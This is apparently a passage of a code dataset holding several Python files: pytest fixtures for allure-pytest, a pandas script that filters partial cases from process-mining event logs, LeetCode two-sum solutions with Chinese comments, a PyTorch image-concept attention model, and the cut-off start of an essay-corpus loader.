self.testdir.tmpdir, *args, **kwargs)\n self.allure_report = AllureReport(self.testdir.tmpdir.strpath)\n else:\n self.allure_report = AllureMemoryLogger()\n with fake_logger(\"allure_pytest.plugin.AllureFileLogger\", self.allure_report):\n self.testdir.runpytest(\"--alluredir\", self.testdir.tmpdir, *args, **kwargs)\n\n return self.allure_report\n\n\n@pytest.fixture\ndef allured_testdir(testdir, request):\n return AlluredTestdir(testdir, request)\n\n\n@pytest.fixture\ndef executed_docstring_source(allured_testdir):\n allured_testdir.parse_docstring_source()\n allured_testdir.run_with_allure()\n return allured_testdir\n\n\n@pytest.fixture\ndef executed_docstring_path(allured_testdir):\n allured_testdir.parse_docstring_path()\n allured_testdir.run_with_allure()\n return allured_testdir\n","sub_path":"allure-pytest/test/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"576261417","text":"import pandas as pd\n\ndef drop_partial(df, dataset):\n '''function for dropping partial cases'''\n if dataset == \"BPI_Challenge_2012-training.csv\" or dataset == \"BPI_Challenge_2012-test.csv\":\n print(\"drop partial cases of\", dataset)\n # select last events of each case\n last_data = df.copy()\n boolean = ~last_data.duplicated(['case concept:name'], keep='last') # takes last appearances of the cases\n df_last = last_data[boolean]\n\n # get more insight\n df_group = df_last.groupby(['event concept:name', 'event lifecycle:transition']).count()\n df_group['percentage'] = (df_group['eventID '] /\n df_last.groupby(['event concept:name', 'event lifecycle:transition']).count().sum()[\n 'eventID ']) * 100\n df_group.sort_values(by='percentage', ascending=False)\n df_group[['percentage']]\n\n # select non-partial events of cases\n bool1 = (df_last['event concept:name'] == 'W_Valideren aanvraag') & (\n df_last['event lifecycle:transition'] == 'COMPLETE')\n bool2 = (df_last['event concept:name'] == 'A_DECLINED')\n bool3 = (df_last['event concept:name'] == 'A_CANCELLED')\n bool4 = (df_last['event concept:name'] == 'A_ACTIVATED')\n bool5 = (df_last['event concept:name'] == 'W_Afhandelen leads') # extra\n bool6 = (df_last['event concept:name'] == 'W_completeren aanvraag') # extra\n bool7 = (df_last['event concept:name'] == 'W_Nabellen offertes') & (\n df_last['event lifecycle:transition'] == 'COMPLETE') # extra\n df_last_no_partial = df_last[bool1 + bool2 + bool3 + bool4 + bool5 + bool6 + bool7]\n\n # select all events of non-partial cases\n df = df[df['case concept:name'].isin(list(df_last_no_partial['case concept:name']))]\n return df\n\n elif dataset == \"Road_Traffic_Fine_Management_Process-training.csv\" or \\\n dataset == \"Road_Traffic_Fine_Management_Process-test.csv\":\n print(\"drop partial cases of\", dataset)\n last_data = df.copy()\n boolean_last = ~last_data.duplicated(['case concept:name'], keep='last') # takes last appearances of the cases\n df_last = last_data[boolean_last]\n df_last['event'] = 'last'\n\n # select second last events of each case\n df_no_last = pd.concat([df, df_last]).drop_duplicates(keep=False)\n df_no_last = df[~df['eventID '].isin(list(df_last['eventID ']))]\n\n boolean_sec_last = ~df_no_last.duplicated(['case concept:name'], keep='last')\n df_sec_last = df_no_last[boolean_sec_last]\n df_sec_last['event'] = 'second_last'\n\n # make dataframe with the two last events of each case\n df_two_lasts = pd.concat([df_sec_last, df_last])\n df_two_lasts = df_two_lasts.reset_index()\n\n # get more insight\n df_group = df_two_lasts.groupby(['event concept:name', 'event']).count()\n df_group['percentage'] = (df_group['eventID '] /\n df_two_lasts.groupby(['event concept:name', 'event']).count().sum()['eventID ']) * 100\n df_group.sort_values(by='percentage', ascending=False)\n df_group[['percentage']]\n\n # select non-partial events of cases\n bool1 = (df_two_lasts['event'] == 'last') & (df_two_lasts['event concept:name'] == 'Send for Credit Collection')\n bool2 = (df_two_lasts['event'] == 'last') & (df_two_lasts['event concept:name'] == 'Payment')\n bool3 = (df_two_lasts['event'] == 'last') & (df_two_lasts['event concept:name'] == 'Send Fine')\n bool4 = (df_two_lasts['event'] == 'second_last') & (df_two_lasts['event concept:name'] == 'Payment')\n\n df_pay_credit = df_two_lasts[bool1 + bool2]\n df_pay_fine = df_two_lasts[bool3 + bool4].sort_values(by='case concept:name', ascending=True)\n counts = df_pay_fine['case concept:name'].value_counts()\n df_pay_fine = df_pay_fine[df_pay_fine['case concept:name'].isin(counts.index[counts > 1])]\n df_fine = df_pay_fine[df_pay_fine['event'] == 'last']\n\n df_last_no_partial = pd.concat([df_fine, df_pay_credit])\n df_last_no_partial\n\n # select all events of non-partial cases\n df = df[df['case concept:name'].isin(list(df_last_no_partial['case concept:name']))]\n return df\n\n elif dataset == \"BPI Challenge 2017-training.csv\" or dataset == \"BPI Challenge 2017-test.csv\":\n print(\"drop partial cases of\", dataset)\n last_data = df[['eventID ', 'case concept:name', 'event concept:name', 'event lifecycle:transition',\n 'event time:timestamp']].copy()\n boolean = ~last_data.duplicated(['case concept:name'], keep='last') # takes last appearances of the cases\n df_last = last_data[boolean]\n\n # get more insight\n df_group = df_last.groupby('event concept:name').count()\n df_group['percentage'] = (df_group['eventID '] / df_last.groupby('event concept:name').count().sum()[\n 'eventID ']) * 100\n df_group.sort_values(by='percentage', ascending=False)\n df_group[['percentage']]\n\n # select non-partial events of cases\n bool1 = (df_last['event concept:name'] == 'O_Cancelled')\n bool2 = (df_last['event concept:name'] == 'W_Validate application') & (\n df_last['event lifecycle:transition'] == 'complete')\n bool3 = (df_last['event concept:name'] == 'W_Vallidate application') & (\n df_last['event lifecycle:transition'] == 'ate_abort')\n bool4 = (df_last['event concept:name'] == 'W_Call after offers') & (\n df_last['event lifecycle:transition'] == 'complete') # extra\n bool5 = (df_last['event concept:name'] == 'W_Call after offers') & (\n df_last['event lifecycle:transition'] == 'ate_abort') # extra\n bool6 = (df_last['event concept:name'] == 'W_Complete application') & (\n df_last['event lifecycle:transition'] == 'complete')\n bool7 = (df_last['event concept:name'] == 'W_Complete application') & (\n df_last['event lifecycle:transition'] == 'ate_abort')\n df_last_no_partial = df_last[bool1 + bool2 + bool3 + bool4 + bool5 + bool6 + bool7]\n\n # select all events of non-partial cases\n df = df[df['case concept:name'].isin(list(df_last_no_partial['case concept:name']))]\n return df\n\n elif dataset == \"BPI Challenge 2018-training.csv\" or dataset == \"BPI Challenge 2018-test.csv\":\n print(\"drop partial cases of\", dataset)\n last_data = df[['eventID ', 'case concept:name', 'event concept:name', 'event lifecycle:transition',\n 'event time:timestamp']].copy()\n boolean = ~last_data.duplicated(['case concept:name'], keep='last') # takes last appearances of the cases\n df_last = last_data[boolean]\n\n # get more insight\n df_group = df_last.groupby(['event concept:name', 'event lifecycle:transition']).count()\n df_group['percentage'] = (df_group['eventID '] /\n df_last.groupby(['event concept:name', 'event lifecycle:transition']).count().sum()[\n 'eventID ']) * 100\n df_group.sort_values(by='percentage', ascending=False)\n df_group[['percentage']]\n\n # select non-partial events of cases\n bool1 = (df_last['event concept:name'] == 'finish payment')\n df_last_no_partial = df_last[bool1]\n\n # select all events of non-partial cases\n df = df[df['case concept:name'].isin(list(df_last_no_partial['case concept:name']))]\n return df\n\n elif dataset == \"BPI_Challenge_2019-training.csv\" or dataset == \"BPI_Challenge_2019-test.csv\":\n print(\"drop partial cases of\", dataset) \n if dataset == \"BPI Challenge 2019-training.csv\":\n # remove wrong dates\n df_wrongdate = df[df['event time:timestamp'].dt.year != 2018]\n wrongdates = df_wrongdate['case concept:name'].unique()\n df = df.loc[~df['case concept:name'].isin(wrongdates)]\n\n # make 4 categories of the dataset\n threewaybefore = df[df['case Item Category'] == '3-way match, invoice before GR']\n threewayafter = df[df['case Item Category'] == '3-way match, invoice after GR']\n consignment = df[df['case Item Category'] == 'Consignment']\n twoway = df[df['case Item Category'] == '2-way match']\n\n ################# category 1: 3 way before ######################\n last_data1 = threewaybefore[\n ['eventID ', 'case concept:name', 'event concept:name', 'event time:timestamp']].copy()\n boolean1 = ~last_data1.duplicated(['case concept:name'], keep='last') # takes last appearances of the cases\n df_last1 = last_data1[boolean1]\n\n # get more insight\n df_group1 = df_last1.groupby(['event concept:name']).count()\n df_group1['percentage'] = (df_group1['eventID '] / df_last1.groupby(['event concept:name']).count().sum()[\n 'eventID ']) * 100\n df_group1.sort_values(by='percentage', ascending=False)\n df_group1[['percentage']]\n\n # select non-partial events of cases\n bool1_1 = (df_last1['event concept:name'] == 'Clear Invoice')\n bool1_2 = (df_last1['event concept:name'] == 'Cancel Goods Receipt')\n bool1_3 = (df_last1['event concept:name'] == 'Record Goods Receipt')\n bool1_4 = (df_last1['event concept:name'] == 'Delete Purchase Order Item')\n bool1_5 = (df_last1['event concept:name'] == 'Change Approval for Purchase Order')\n df_last_no_partial1 = df_last1[bool1_1 + bool1_2 + bool1_3 + bool1_4 + bool1_5]\n\n # select all events of non-partial cases\n threewaybefore = threewaybefore[\n threewaybefore['case concept:name'].isin(list(df_last_no_partial1['case concept:name']))]\n\n ############## category 2: 3 way after ##############\n last_data2 = threewayafter[\n ['eventID ', 'case concept:name', 'event concept:name', 'event time:timestamp']].copy()\n boolean2 = ~last_data2.duplicated(['case concept:name'], keep='last') # takes last appearances of the cases\n df_last2 = last_data2[boolean2]\n\n # get more insight\n df_group2 = df_last2.groupby(['event concept:name']).count()\n df_group2['percentage'] = (df_group2['eventID '] / df_last2.groupby(['event concept:name']).count().sum()[\n 'eventID ']) * 100\n df_group2.sort_values(by='percentage', ascending=False)\n df_group2[['percentage']]\n\n # select non-partial events of cases\n bool2_1 = (df_last2['event concept:name'] == 'Clear Invoice')\n bool2_2 = (df_last2['event concept:name'] == 'Cancel Invoice Receipt')\n bool2_3 = (df_last2['event concept:name'] == 'Record Invoice Receipt')\n bool2_4 = (df_last2['event concept:name'] == 'Delete Purchase Order Item')\n bool2_5 = (df_last2['event concept:name'] == 'Change Approval for Purchase Order')\n bool2_6 = (df_last2['event concept:name'] == 'Record Service Entry Sheet')\n df_last_no_partial2 = df_last2[bool2_1 + bool2_2 + bool2_3 + bool2_4 + bool2_5 + bool2_6]\n\n # select all events of non-partial cases\n threewayafter = threewayafter[\n threewayafter['case concept:name'].isin(list(df_last_no_partial2['case concept:name']))]\n\n ############## category 3: consignment #############\n last_data3 = consignment[['eventID ', 'case concept:name', 'event concept:name', 'event time:timestamp']].copy()\n boolean3 = ~last_data3.duplicated(['case concept:name'], keep='last') # takes last appearances of the cases\n df_last3 = last_data3[boolean3]\n\n # get more insight\n df_group3 = df_last3.groupby(['event concept:name']).count()\n df_group3['percentage'] = (df_group3['eventID '] / df_last3.groupby(['event concept:name']).count().sum()[\n 'eventID ']) * 100\n df_group3.sort_values(by='percentage', ascending=False)\n df_group3[['percentage']]\n\n # select non-partial events of cases\n bool3_1 = (df_last3['event concept:name'] == 'Cancel Goods Receipt')\n bool3_2 = (df_last3['event concept:name'] == 'Record Goods Receipt')\n bool3_3 = (df_last3['event concept:name'] == 'Delete Purchase Order Item')\n df_last_no_partial3 = df_last3[bool3_1 + bool3_2 + bool3_3]\n\n # select all events of non-partial cases\n consignment = consignment[consignment['case concept:name'].isin(list(df_last_no_partial3['case concept:name']))]\n\n ########## category 4: 2 way #############\n last_data4 = twoway[['eventID ', 'case concept:name', 'event concept:name', 'event time:timestamp']].copy()\n boolean4 = ~last_data4.duplicated(['case concept:name'], keep='last') # takes last appearances of the cases\n df_last4 = last_data4[boolean4]\n\n # get more insight\n df_group4 = df_last4.groupby(['event concept:name']).count()\n df_group4['percentage'] = (df_group4['eventID '] / df_last4.groupby(['event concept:name']).count().sum()[\n 'eventID ']) * 100\n df_group4.sort_values(by='percentage', ascending=False)\n df_group4[['percentage']]\n\n # select non-partial events of cases\n bool4_1 = (df_last4['event concept:name'] == 'Clear Invoice')\n bool4_2 = (df_last4['event concept:name'] == 'Record Invoice Receipt')\n bool4_3 = (df_last4['event concept:name'] == 'Delete Purchase Order Item')\n bool4_4 = (df_last4['event concept:name'] == 'Change Approval for Purchase Order')\n df_last_no_partial4 = df_last4[bool4_1 + bool4_2 + bool4_3 + bool4_4]\n\n # select all events of non-partial cases\n twoway = twoway[twoway['case concept:name'].isin(list(df_last_no_partial4['case concept:name']))]\n\n df = pd.concat([threewaybefore, threewayafter, consignment, twoway])\n return df\n\n else:\n print(\"No preset dataset found, will drop partial cases on a 20 percent threshold\") \n # if it is an arbritary dataset, use threshold of 20 percent\n last_data = df.copy()\n boolean = ~last_data.duplicated(['case concept:name'], keep='last') # takes last appearances of the cases\n df_last = last_data[boolean]\n\n events_kept = df_last['event concept:name'].value_counts() / len(df_last)\n events_kept = events_kept.index[events_kept >= 0.20]\n\n df_last_no_partial = df_last[df_last['event concept:name'].isin(events_kept)]\n df = df[df['case concept:name'].isin(df_last_no_partial['case concept:name'].unique())]\n return df","sub_path":"processminingtool/partialcases.py","file_name":"partialcases.py","file_ext":"py","file_size_in_byte":14715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"515362462","text":"'''\nhttps://leetcode.com/problems/two-sum/\n\nGiven an array of integers, return indices of the two numbers such that they add up to a specific target.\n\nYou may assume that each input would have exactly one solution, and you may not use the same element twice.\n\n给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标。\n\n你可以假设每种输入只会对应一个答案。但是,你不能重复利用这个数组中同样的元素。\n\nExample:\n\nGiven nums = [2, 7, 11, 15], target = 9,\n\nBecause nums[0] + nums[1] = 2 + 7 = 9,\nreturn [0, 1].\n\n'''\n\n# 思路1\n'''\n暴力法\n\n\n遍歷所有數組\n外層loop i:n-1\n 內層loop 從 i+1:n\n 由於假設每種輸入只會對應一組答案,所以\n 找到相加等於目標數字立即返回(i,j)\n\ntime complexity: O(n^2)\nleetcode result:\nAccepted\t5988 ms\t13.7 MB\n'''\n\n\nclass Solution1:\n def twoSum(self, nums, target: int):\n n = len(nums)\n for i in range(n - 1):\n for j in range(i + 1, n):\n if nums[i] + nums[j] == target:\n return [i, j]\n\n\n'''\n思路2:\n先將裡面的元素由小到大做排序,時間複雜度為logN\n再用左右夾逼的方式移動元素\n若兩元素相加> target \n則把最右邊的j 往左移\n若兩元素相加< target\n則把最左的元素向右移\n直到兩指針相交 (i==j)\n\ntime complexity: O(N) \n\nleetcode result:\nRuntime: 52 ms, faster than 56.49% of Python3 online submissions for Two Sum.\nMemory Usage: 14 MB, less than 65.58% of Python3 online submissions for Two Sum.\n'''\n\n\nclass Solution2:\n def twoSum(self, nums, target: int):\n orignal_list = nums.copy()\n n = len(nums)\n nums.sort()\n i = 0\n j = n - 1\n while True:\n if (nums[i] + nums[j] > target):\n j = j - 1\n elif (nums[i] + nums[j] < target):\n i = i + 1\n else:\n break;\n return self._find_index(orignal_list, nums[i], nums[j])\n\n def _find_index(self, input_list, a, b):\n index_a = input_list.index(a)\n index_b = input_list.index(b)\n # 去重\n if index_a == index_b:\n [index_a, index_b] = [i for i, x in enumerate(input_list) if x == a]\n return [index_a, index_b]\n\n\n'''\n解法3 空間換時間(字典)\n這邊哈希表我還不太熟,待以後來補全解法\n目前先用空間換時間的做法來試試\n\n想法為用字典來儲存target - list 中的每一個元素\n如果之後遇到list 中的新元素存在於字典中,表示這個新元素與之前的結果是相匹配的\n===========\n一開始先檢查字典中是否有當前list中的元素\n\n若有 則返回字典的key 值與當前list的位址 (表示湊到一對)\n若無 則將目前list的位址與減完的結果一併存於字典中,以利後續查找\n\n此法只比前面快了一點點(4ms) 、時間複雜度應為 O(N)\n多用了0.2mb 的ram\n但這取決於array 的大小\n不過代碼是簡潔了很多\n\nRuntime: 48 ms, faster than 79.16% of Python3 online submissions for Two Sum.\nMemory Usage: 14.2 MB, less than 56.04% of Python3 online submissions for Two Sum.\n\n'''\n\n\nclass Solution3:\n def twoSum(self, nums, target: int):\n temp_dict = {}\n for key, item in enumerate(nums):\n check_result = target - item\n if item in temp_dict:\n return [temp_dict[item], key]\n else:\n temp_dict[check_result] = key\n\n\n\n\nif __name__ == \"__main__\":\n # k=[4,5,1,3,2]\n # k.sort()\n # print(k)3\n s1 = Solution3().twoSum([4, 3, 3], 6)\n print(s1)\n","sub_path":"Week_01/G20190343010191/LeetCode_1_191.py","file_name":"LeetCode_1_191.py","file_ext":"py","file_size_in_byte":3694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"69513597","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 26 15:50:14 2019\n\n@author: amrita\n\"\"\"\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom utils import one_hot\nimport numpy as np\nimport torchvision.models as models\nimport os\n\nclass AttributeCatalog():\n \n def __init__(self, opt, vocab_size):\n self.net = _Net(opt, vocab_size)\n if opt.load_checkpoint_path:\n try:\n print('loading checkpoint from %s', os.path.join('checkpoints',opt.load_checkpoint_path))\n checkpoint = torch.load(os.path.join('checkpoints',os.path.join(opt.load_checkpoint_path, 'checkpoint_best.pt')))\n self.net.load_state_dict(checkpoint['model_state'])\n print ('Model loaded')\n except:\n print ('Model initialized... Not loaded')\n self.num_classes = vocab_size\n self.criterion = nn.CrossEntropyLoss()\n self.optimizer = torch.optim.Adam(self.net.parameters(), lr=opt.learning_rate)\n self.use_cuda = len(opt.gpu_ids) > 0 and torch.cuda.is_available()\n self.gpu_ids = opt.gpu_ids\n if self.use_cuda:\n self.net.cuda(opt.gpu_ids[0])\n print ('transferred model to gpu')\n self.device = 'cuda'\n else:\n self.device = 'cpu'\n self.input, self.label, self.label_onehot = None, None, None\n \n def _to_var(self, x): \n if self.use_cuda:\n x = x.cuda()\n return Variable(x)\n \n def set_input(self, context_word_glove_emb, context_attention_vector, x, y=None):\n self.input = self._to_var(x)\n self.context_word_glove_emb = self._to_var(context_word_glove_emb)\n self.context_attention_vector = self._to_var(context_attention_vector)\n if y is not None:\n self.label = self._to_var(y)\n self.label_onehot = one_hot(self.label, self.label.size(0), self.num_classes, self.device).long()\n \n \n def forward(self):\n self.pred = self.net(self.input, self.context_word_glove_emb, self.context_attention_vector)\n if self.label_onehot is not None:\n self.loss = self.criterion(self.pred, self.label)\n\n def get_loss(self):\n return self.loss.data\n \n def compute_score(self):\n logits = torch.max(self.pred, 1)[1].cpu().numpy()\n label = self.label.cpu().numpy()\n score = (logits==label).astype(np.int).sum() / label.shape[0]\n return score\n \n def step(self):\n self.optimizer.zero_grad()\n self.forward()\n self.loss.backward()\n nn.utils.clip_grad_norm_(self.net.parameters(), 0.25)\n self.optimizer.step()\n return\n \n def get_pred(self):\n return self.pred.data.cpu().numpy()\n \n def eval_mode(self):\n self.net.eval()\n \n def train_mode(self):\n self.net.train()\n \n def save_checkpoint(self, save_path):\n checkpoint = {\n 'model_state': self.net.cpu().state_dict()\n }\n torch.save(checkpoint, save_path)\n if self.use_cuda:\n self.net.cuda(self.gpu_ids[0])\n \n'''\nclass _Net(nn.Module):\n\n def __init__(self, hidden_dim):\n super(_Net, self).__init__()\n self.hidden_dim = hidden_dim\n self.num_classes = 2\n \n self.leaky_relu = nn.LeakyReLU()\n self.relu = nn.ReLU()\n \n layers = []\n layers.append(nn.Linear(2048, self.hidden_dim))\n layers.append(nn.Linear(self.hidden_dim, self.hidden_dim))\n layers.append(nn.Linear(self.hidden_dim, self.hidden_dim))\n layers.append(nn.LeakyReLU())\n layers.append(nn.Linear(self.hidden_dim, self.hidden_dim))\n layers.append(nn.LeakyReLU())\n layers.append(nn.Linear(self.hidden_dim, self.hidden_dim))\n layers.append(nn.ReLU())\n layers.append(nn.Linear(self.hidden_dim, self.hidden_dim))\n self.main = nn.Sequential(*layers)\n self.final_layer = nn.Linear(self.hidden_dim, self.num_classes)\n \n def forward(self, x):\n x = self.main(x)\n output = self.final_layer(x)\n out_dist = F.softmax(output, dim=1)\n return out_dist\n'''\n\n\nclass _Net(nn.Module):\n \n def __init__(self, opt, vocab_size):\n super(_Net, self).__init__()\n self.use_cuda = len(opt.gpu_ids) > 0 and torch.cuda.is_available()\n self.gpu_ids = opt.gpu_ids\n if self.use_cuda:\n self.device = 'cuda'\n else:\n self.device = 'cpu'\n self.input_channels = opt.input_channels\n self.img_feat_size = opt.image_feature_size\n self.hidden_size = opt.hidden_size\n self.cluster_classify = opt.cluster_classify\n self.common_emb_size = opt.common_embedding_size\n self.glove_emb_size = opt.glove_embedding_size\n self.fc1_size = opt.fc1_size\n self.fc2_size = opt.fc2_size\n self.num_att_layers = opt.num_att_layers\n self.tanh = nn.Tanh\n self.dropout = nn.Dropout(0.2)\n self.softmax = nn.Softmax(dim=1)\n self.vocab_size = vocab_size\n resnet = models.resnet34(pretrained=True)\n resnet_layers = list(resnet.children())\n #for layer in resnet_layers:\n # for param in layer.parameters():\n # param.requires_grad = False\n # remove the last two layer\n resnet_layers.pop()\n resnet_layers.pop()\n # remove the first layer as we take a 6-channel input\n resnet_layers.pop(0)\n resnet_layers.insert(0, nn.Conv2d(self.input_channels, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False))\n self.resnet_layers_seq = nn.Sequential(*resnet_layers)\n self.image_pooling_layer = nn.AdaptiveAvgPool2d(output_size=(1, 1))\n self.concept_image_att_mat = nn.Linear(self.glove_emb_size, self.img_feat_size)\n layers1 = []\n layers1.append(nn.Linear(self.img_feat_size, self.hidden_size))\n layers1.append(nn.LeakyReLU())\n layers1.append(nn.Dropout(0.1))\n layers2 = []\n layers2.append(nn.Linear(self.glove_emb_size, self.hidden_size))\n layers2.append(nn.LeakyReLU())\n layers2.append(nn.Dropout(0.1))\n self.layers1_seq = nn.Sequential(*layers1)\n self.layers2_seq = nn.Sequential(*layers2)\n self.img_linear_layers = nn.ModuleList([nn.Linear(self.hidden_size, self.common_emb_size) for i in range(self.num_att_layers)])\n self.concept_linear_layers = nn.ModuleList([nn.Linear(self.hidden_size, self.common_emb_size) for i in range(self.num_att_layers)])\n self.img_concept_linear_layers = nn.ModuleList([nn.Linear(self.common_emb_size, 1) for i in range(self.num_att_layers)])\n final_layers = []\n final_layers.append(nn.Dropout(0.1))\n final_layers.append(nn.Linear(self.hidden_size, self.fc1_size))\n final_layers.append(nn.LeakyReLU())\n final_layers.append(nn.Dropout(0.1))\n final_layers.append(nn.Linear(self.fc1_size, self.fc2_size))\n final_layers.append(nn.LeakyReLU())\n final_layers.append(nn.Dropout(0.1))\n final_layers.append(nn.Linear(self.fc2_size, self.vocab_size))\n final_layers.append(nn.LeakyReLU())\n final_layers.append(nn.Dropout(0.1))\n #final_layers.append(nn.Sigmoid())\n self.final_layers_seq = nn.Sequential(*final_layers)\n '''\n if not self.cluster_classify:\n self.cluster_embedding = nn.Parameter(torch.tensor(cluster_embedding_mat), requires_grad=True)\n layers1_2 = []\n layers1_2.append(nn.Linear(self.img_feat_size, self.hidden_size))\n layers1_2.append(nn.LeakyReLU())\n layers1_2.append(nn.Dropout(0.2))\n self.layers1_2_seq = nn.Sequential(*layers1_2)\n layers2_2 = []\n layers2_2.append(nn.Linear(self.glove_emb_size, self.hidden_size))\n layers2_2.append(nn.LeakyReLU())\n layers2_2.append(nn.Dropout(0.2))\n self.layers2_2_seq = nn.Sequential(*layers2_2)\n self.img_linear_layers2 = nn.ModuleList([nn.Linear(self.hidden_size, self.common_emb_size) for i in range(self.num_att_layers)])\n self.concept_linear_layers2 = nn.ModuleList([nn.Linear(self.hidden_size, self.common_emb_size) for i in range(self.num_att_layers)])\n self.img_concept_linear_layers2 = nn.ModuleList([nn.Linear(self.common_emb_size, 1) for i in range(self.num_att_layers)])\n final_layers2 = []\n final_layers2.append(nn.Dropout(0.1))\n final_layers2.append(nn.Linear(self.hidden_size, self.fc1_size))\n final_layers2.append(nn.LeakyReLU())\n final_layers2.append(nn.Dropout(0.1))\n final_layers2.append(nn.Linear(self.fc1_size, self.fc2_size))\n final_layers2.append(nn.LeakyReLU())\n final_layers2.append(nn.Dropout(0.1))\n final_layers2.append(nn.Linear(self.fc2_size, self.vocab_size))\n final_layers2.append(nn.LeakyReLU())\n final_layers2.append(nn.Dropout(0.1))\n self.final_layers2_seq = nn.Sequential(*final_layers2)\n print ('initialized _Net model')\n self.attention_weight_mat = torch.tensor(attention_weight_mat, requires_grad=False, device=self.device, dtype=torch.long)\n '''\n print ('initialized _Net model')\n \n def forward(self, img, context_glove_embed, context_attention_vector):\n img_emb = self.resnet_layers_seq(img)\n img_emb_pooled = torch.unsqueeze(torch.squeeze(self.image_pooling_layer(img_emb)), dim=1)\n #img_emb_pooled is of dimension batch_size x 1 x img_feat_size\n concept_emb = self.concept_image_att_mat(context_glove_embed)\n #concept_emb is of dimension batch_size x vocab_size x img_feat_size\n concept_emb = torch.transpose(concept_emb, 2, 1)\n #concept_emb is of dimension batch_size x img_feat_size x vocab_size)\n img_concept_emb = torch.squeeze(torch.bmm(img_emb_pooled, concept_emb))\n #img_concept_emb is of dimension batch_size x vocab_size\n img_concept_att = self.softmax(img_concept_emb)\n img_concept_att = torch.unsqueeze(self.mask_attention(img_concept_att, context_attention_vector), dim=1)\n #img_concept_att is of dimension batch_size x 1 x vocab_size\n img_concept_emb = torch.squeeze(torch.bmm(img_concept_att, context_glove_embed))\n #img_concept_emb is of dimension batch_size x glove_emb_size\n img_emb = torch.transpose(torch.transpose(img_emb, 2, 1), 3, 2).view(-1, 64, self.img_feat_size)\n img_hid = self.layers1_seq(img_emb).view(-1, 64, self.hidden_size)\n #imd_hid is of dimension batch_size x 64 x img_hid_size\n img_concept_hid = self.layers2_seq(img_concept_emb)\n #img_concept_hid is of dimension batch_size x concept_hid_size\n i=0\n for i in range(self.num_att_layers):\n img_common = self.img_linear_layers[i](img_hid)\n #img_common is of dimension batch_size x 64 x common_emb_size\n concept_common = self.concept_linear_layers[i](img_concept_hid)\n #concept_common is of dimension batch_size x common_emb_size\n concept_common = torch.unsqueeze(concept_common, dim=1).repeat(1, 64, 1)\n #concept_common is of dimension batch_size x 64 x common_emb_size\n img_concept_common = self.dropout((img_common+concept_common).tanh())\n #img_concept_common is of dimension batch_size x 64 x common_emb_size\n h = torch.squeeze(self.img_concept_linear_layers[i](img_concept_common), dim=2)\n #h is of dimension batch_size x 64\n p_att = torch.unsqueeze(self.softmax(h), dim=1)\n #p_att is of dimension batch_size x 1 x 64\n img_att = torch.squeeze(torch.bmm(p_att, img_hid), dim=1)\n #img_att is of dimension batch_size x img_hid_size\n if i==(self.num_att_layers-1):\n img_concept_hid = img_att\n #concept_hid is of dimension batch_size x img_hid_size\n else:\n img_concept_hid = img_att+img_concept_hid\n #concept_hid is of dimension batch_size x img_hid_size\n clusters = self.final_layers_seq(img_concept_hid)\n #clusters is of dimension batch_size x cluster_size\n return clusters\n# =============================================================================\n# if self.cluster_classify:\n# return clusters \n# else:\n# clusters_att = self.softmax(clusters)\n# #clusters_att is of dimension batch_size x cluster_size\n# clusters_emb = torch.mm(clusters_att, self.cluster_embedding)\n# #clusters_hid is of dimension batch_size x glove_emb_size\n# img_hid2 = self.layers1_2_seq(img_emb).view(-1, 64, self.hidden_size)\n# concept_hid2 = self.layers2_2_seq(clusters_emb)\n# i=0\n# for i in range(self.num_att_layers):\n# img_common2 = self.img_linear_layers2[i](img_hid2)\n# concept_common2 = self.concept_linear_layers2[i](concept_hid2)\n# concept_common2 = torch.unsqueeze(concept_common2, dim=1).repeat(1, 64, 1)\n# img_concept_common2 = self.dropout((img_common2+concept_common2).tanh())\n# h2 = torch.squeeze(self.img_concept_linear_layers2[i](img_concept_common2), dim=2)\n# p_att2 = torch.unsqueeze(self.softmax(h2), dim=1)\n# img_att2 = torch.squeeze(torch.bmm(p_att2, img_hid2), dim=1)\n# if i==(self.num_att_layers-1):\n# concept_hid2 = img_att2\n# else:\n# concept_hid2 = img_att2 + concept_hid2\n# concepts = self.final_layers2_seq(concept_hid2) \n# concepts_att = self.softmax(concepts)\n# #concepts_att is of dimension batch_size x vocab_size\n# \n# att_weight = torch.unsqueeze(self.attention_weight_mat, dim=0).repeat(concepts_att.size(0), 1)\n# #att_weight is of dimension batch_size x vocab_size\n# att_weight = torch.gather(clusters, dim=1, index=att_weight)\n# #att_weight is of dimension batch_size x vocab_size\n# concepts_att = torch.mul(concepts_att, att_weight)\n# return concepts_att\n# =============================================================================\n \n def mask_attention(self, attention, mask):\n masked_atten = torch.mul(attention, mask)\n num = len(masked_atten.shape)\n l1norm = torch.sum(masked_atten, dim=1)\n stacked_norm = torch.mul(torch.ones_like(masked_atten), torch.unsqueeze(l1norm,num-1))\n masked_atten = torch.where(stacked_norm==0, torch.ones_like(masked_atten), masked_atten)\n new_l1_norm = torch.sum(masked_atten, dim=1)\n masked_atten = masked_atten/new_l1_norm.view([-1,1])\n return masked_atten \n\ndef get_model(opt, vocab_size):\n model = AttributeCatalog(opt, vocab_size)\n return model\n\n \n\n\n\n\n\n","sub_path":"multiclass_unilabel_cce_level2_attribute/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":15152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"21476016","text":"from os import listdir\nimport json\nimport os\nimport re\n\n#############################################\n# PLEASE SET TO CORRECT PATH BEFORE RUNNING #\n#############################################\nCURRENT_WORKING_DIR = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))\nCONST_ESSAYPATH = f'{CURRENT_WORKING_DIR}/../data/ArgumentAnnotatedEssays-2.0/brat-project-final/'\nCONST_SUFFICIENTPATH = f'{CURRENT_WORKING_DIR}/../data/UKP-InsufficientArguments_v1.0/data-tokenized.tsv'\nCONST_CONFIRMATIONBIAS = f'{CURRENT_WORKING_DIR}/../data/UKP-OpposingArgumentsInEssays_v1.0/labels.tsv'\n\n\n# Object based on the sample.json file\nclass OutputObject(object):\n id = \"\"\n title = \"\"\n text = \"\"\n major_claim = 